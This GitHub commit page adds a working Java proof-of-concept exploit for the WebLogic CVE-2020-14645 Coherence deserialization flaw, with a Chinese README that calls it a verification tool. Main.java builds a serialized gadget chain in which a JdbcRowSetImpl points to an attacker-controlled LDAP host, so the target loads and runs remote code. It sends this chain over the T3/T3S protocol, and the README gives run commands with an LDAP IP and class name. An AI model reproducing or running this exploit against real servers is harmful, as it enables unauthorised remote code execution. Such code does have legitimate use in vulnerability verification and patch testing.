Skip to content

Commit 5a7ef33

Browse files
author
MO0n
committed
初始版本
1 parent 236c3a2 commit 5a7ef33

File tree

11 files changed

+436
-0
lines changed

11 files changed

+436
-0
lines changed

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,3 +21,6 @@
2121

2222
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
2323
hs_err_pid*
24+
.idea/
25+
target/
26+
CVE-2020-14645.iml

README.md

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
# Weblogic CVE-2020-14645 coherence 反序列化漏洞验证程序
2+
3+
## 环境
4+
5+
- Maven 3
6+
7+
- JDK 1.8
8+
9+
## 编译
10+
11+
```
12+
mvn package
13+
```
14+
15+
## 使用
16+
17+
具体的测试测试方法请看 [这里](https://github.com/DSO-Lab/Dubbo-CVE-2020-1948/wiki)
18+
19+
### 测试程序执行方法
20+
21+
```
22+
java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL
23+
24+
# 示例
25+
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
26+
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002
27+
```
28+
29+
## 鸣谢
30+
31+
本项目参考和引用了项目 [@Y4er](https://github.com/Y4er) [@5up3rc](https://github.com/5up3rc) 的部分代码,特此感谢!
32+
33+
# 参考资料
34+
35+
https://github.com/Y4er/CVE-2020-14645
36+
37+
https://github.com/5up3rc/weblogic_cmd
38+

assembly.xml

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<assembly
2+
xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
5+
<id>fat-tests</id>
6+
<formats>
7+
<format>jar</format>
8+
</formats>
9+
<includeBaseDirectory>false</includeBaseDirectory>
10+
<dependencySets>
11+
<dependencySet>
12+
<outputDirectory>/</outputDirectory>
13+
<useProjectArtifact>true</useProjectArtifact>
14+
<unpack>true</unpack>
15+
<scope>test</scope>
16+
</dependencySet>
17+
</dependencySets>
18+
<fileSets>
19+
<fileSet>
20+
<directory>${project.build.directory}/test-classes</directory>
21+
<outputDirectory>/</outputDirectory>
22+
<includes>
23+
<include>**/*.class</include>
24+
</includes>
25+
<useDefaultExcludes>true</useDefaultExcludes>
26+
</fileSet>
27+
</fileSets>
28+
</assembly>

pom.xml

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<modelVersion>4.0.0</modelVersion>
6+
7+
<groupId>com.defvul</groupId>
8+
<artifactId>CVE-2020-14645</artifactId>
9+
<version>1.0</version>
10+
11+
<properties>
12+
<custom.lib-path>${basedir}/libs</custom.lib-path>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
15+
</properties>
16+
17+
<dependencies>
18+
<dependency>
19+
<groupId>com.oracle.coherence.ce</groupId>
20+
<artifactId>coherence</artifactId>
21+
<version>20.06</version>
22+
</dependency>
23+
</dependencies>
24+
25+
<build>
26+
<finalName>CVE-2020-14645</finalName>
27+
<plugins>
28+
<plugin>
29+
<groupId>org.apache.maven.plugins</groupId>
30+
<artifactId>maven-compiler-plugin</artifactId>
31+
<version>3.5.1</version>
32+
<configuration>
33+
<source>1.6</source>
34+
<target>1.8</target>
35+
<fork>true</fork>
36+
</configuration>
37+
</plugin>
38+
<plugin>
39+
<artifactId>maven-assembly-plugin</artifactId>
40+
<configuration>
41+
<finalName>CVE-2020-14645</finalName>
42+
<appendAssemblyId>false</appendAssemblyId>
43+
<archive>
44+
<manifest>
45+
<mainClass>com.defvul.Main</mainClass>
46+
</manifest>
47+
</archive>
48+
<descriptor>assembly.xml</descriptor>
49+
</configuration>
50+
<executions>
51+
<execution>
52+
<id>make-assembly</id>
53+
<phase>package</phase>
54+
<goals>
55+
<goal>single</goal>
56+
</goals>
57+
</execution>
58+
</executions>
59+
</plugin>
60+
</plugins>
61+
</build>
62+
63+
</project>

src/main/java/com/defvul/Main.java

Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
package com.defvul;
2+
3+
import com.supeream.serial.BytesOperation;
4+
import com.supeream.serial.Reflections;
5+
import com.supeream.serial.Serializables;
6+
import com.supeream.ssl.SocketFactory;
7+
import com.sun.rowset.JdbcRowSetImpl;
8+
import com.tangosol.util.comparator.ExtractorComparator;
9+
import com.tangosol.util.extractor.UniversalExtractor;
10+
11+
import java.io.BufferedReader;
12+
import java.io.InputStreamReader;
13+
import java.net.Socket;
14+
import java.net.URL;
15+
import java.util.PriorityQueue;
16+
17+
public class Main {
18+
19+
public static void main(String[] args) throws Exception {
20+
if (args.length < 2) {
21+
System.out.println("Usage: java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL");
22+
System.out.println("\nExample: java -jar CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001");
23+
return;
24+
}
25+
26+
// CVE_2020_14645
27+
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
28+
final ExtractorComparator comparator = new ExtractorComparator(extractor);
29+
30+
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
31+
rowSet.setDataSourceName("ldap://" + args[0]);
32+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
33+
34+
Object[] q = new Object[]{rowSet, rowSet};
35+
Reflections.setFieldValue(queue, "queue", q);
36+
Reflections.setFieldValue(queue, "size", 2);
37+
byte[] payload = Serializables.serialize(queue);
38+
39+
URL url = new URL(args[1]);
40+
send(url.getHost(), url.getPort(), payload, url.getProtocol().equals("https"));
41+
}
42+
43+
public static void send(String host, int port, byte[] payload, boolean isSSL) throws Exception {
44+
Socket sock = SocketFactory.newSocket(host, port, isSSL);
45+
46+
String header = "t3 7.0.0.0\nAS:10\nHL:19\n\n";
47+
if (isSSL) {
48+
header = "t3s 7.0.0.0\nAS:10\nHL:19\n\n";
49+
}
50+
51+
// Handshake
52+
sock.getOutputStream().write(header.getBytes());
53+
sock.getOutputStream().flush();
54+
55+
BufferedReader br = new BufferedReader(new InputStreamReader(sock.getInputStream()));
56+
String versionInfo = br.readLine();
57+
58+
versionInfo = versionInfo.replace("HELO:", "");
59+
versionInfo = versionInfo.replace(".false", "");
60+
System.out.println("Weblogic version: " + versionInfo);
61+
62+
// Send Payload
63+
//cmd=1,QOS=1,flags=1,responseId=4,invokableId=4,abbrevOffset=4,countLength=1,capacityLength=1
64+
65+
//t3 protocol
66+
String cmd = "08";
67+
String qos = "65";
68+
String flags = "01";
69+
String responseId = "ffffffff";
70+
String invokableId = "ffffffff";
71+
String abbrevOffset = "00000000";
72+
String countLength = "01";
73+
String capacityLength = "10";//必须大于上面设置的AS值
74+
String readObjectType = "00";//00 object deserial 01 ascii
75+
76+
StringBuilder datas = new StringBuilder();
77+
datas.append(cmd);
78+
datas.append(qos);
79+
datas.append(flags);
80+
datas.append(responseId);
81+
datas.append(invokableId);
82+
datas.append(abbrevOffset);
83+
84+
//because of 2 times deserial
85+
countLength = "04";
86+
datas.append(countLength);
87+
88+
//define execute operation
89+
String pahse1Str = BytesOperation.bytesToHexString(payload);
90+
datas.append(capacityLength);
91+
datas.append(readObjectType);
92+
datas.append(pahse1Str);
93+
94+
byte[] headers = BytesOperation.hexStringToBytes(datas.toString());
95+
int len = headers.length + 4;
96+
String hexLen = Integer.toHexString(len);
97+
StringBuilder dataLen = new StringBuilder();
98+
99+
if (hexLen.length() < 8) {
100+
for (int i = 0; i < (8 - hexLen.length()); i++) {
101+
dataLen.append("0");
102+
}
103+
}
104+
105+
dataLen.append(hexLen);
106+
sock.getOutputStream().write(BytesOperation.hexStringToBytes(dataLen + datas.toString()));
107+
sock.getOutputStream().flush();
108+
sock.close();
109+
}
110+
}
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
package com.supeream.serial;
2+
3+
//
4+
// Source code recreated from a .class file by IntelliJ IDEA
5+
// (powered by Fernflower decompiler)
6+
//
7+
8+
import java.io.FileInputStream;
9+
10+
public class BytesOperation {
11+
12+
13+
public static byte[] hexStringToBytes(String hexString) {
14+
if (hexString != null && !hexString.equals("")) {
15+
hexString = hexString.toUpperCase();
16+
int length = hexString.length() / 2;
17+
char[] hexChars = hexString.toCharArray();
18+
byte[] d = new byte[length];
19+
20+
for (int i = 0; i < length; ++i) {
21+
int pos = i * 2;
22+
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
23+
}
24+
25+
return d;
26+
} else {
27+
return null;
28+
}
29+
}
30+
31+
private static byte charToByte(char c) {
32+
return (byte) "0123456789ABCDEF".indexOf(c);
33+
}
34+
35+
public static byte[] byteMerger(byte[] byte_1, byte[] byte_2) {
36+
byte[] byte_3 = new byte[byte_1.length + byte_2.length];
37+
System.arraycopy(byte_1, 0, byte_3, 0, byte_1.length);
38+
System.arraycopy(byte_2, 0, byte_3, byte_1.length, byte_2.length);
39+
return byte_3;
40+
}
41+
42+
public static String bytesToHexString(byte[] src) {
43+
StringBuilder stringBuilder = new StringBuilder("");
44+
if (src == null || src.length <= 0) {
45+
return null;
46+
}
47+
for (int i = 0; i < src.length; i++) {
48+
int v = src[i] & 0xFF;
49+
String hv = Integer.toHexString(v);
50+
if (hv.length() < 2) {
51+
stringBuilder.append(0);
52+
}
53+
stringBuilder.append(hv);
54+
}
55+
return stringBuilder.toString();
56+
}
57+
58+
public static byte[] GetByteByFile(String FilePath) throws Exception {
59+
FileInputStream fi = new FileInputStream(FilePath);
60+
byte[] temp = new byte[50000000];
61+
int length = fi.read(temp);
62+
byte[] file = new byte[length];
63+
64+
for (int i = 0; i < length; ++i) {
65+
file[i] = temp[i];
66+
}
67+
68+
fi.close();
69+
return file;
70+
}
71+
72+
public static void main(String[] args) throws Exception {
73+
System.out.println(BytesOperation.bytesToHexString(BytesOperation.GetByteByFile("/Users/nike/IdeaProjects/weblogic_cmd/lib/remote.jar")));
74+
}
75+
}
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
package com.supeream.serial;
2+
3+
import java.lang.reflect.Constructor;
4+
import java.lang.reflect.Field;
5+
6+
public class Reflections {
7+
8+
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
9+
Field field = clazz.getDeclaredField(fieldName);
10+
if (field == null && clazz.getSuperclass() != null) {
11+
field = getField(clazz.getSuperclass(), fieldName);
12+
}
13+
field.setAccessible(true);
14+
return field;
15+
}
16+
17+
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
18+
final Field field = getField(obj.getClass(), fieldName);
19+
field.set(obj, value);
20+
}
21+
22+
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
23+
final Field field = getField(obj.getClass(), fieldName);
24+
return field.get(obj);
25+
}
26+
27+
public static Constructor<?> getFirstCtor(final String name) throws Exception {
28+
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
29+
ctor.setAccessible(true);
30+
return ctor;
31+
}
32+
33+
}
Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
package com.supeream.serial;
2+
3+
import java.io.*;
4+
5+
public class Serializables {
6+
7+
public static byte[] serialize(final Object obj) throws IOException {
8+
final ByteArrayOutputStream out = new ByteArrayOutputStream();
9+
serialize(obj, out);
10+
return out.toByteArray();
11+
}
12+
13+
public static void serialize(final Object obj, final OutputStream out) throws IOException {
14+
final ObjectOutputStream objOut = new ObjectOutputStream(out);
15+
objOut.writeObject(obj);
16+
objOut.flush();
17+
objOut.close();
18+
}
19+
20+
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
21+
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
22+
return deserialize(in);
23+
}
24+
25+
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
26+
final ObjectInputStream objIn = new ObjectInputStream(in);
27+
return objIn.readObject();
28+
}
29+
30+
}

0 commit comments

Comments
 (0)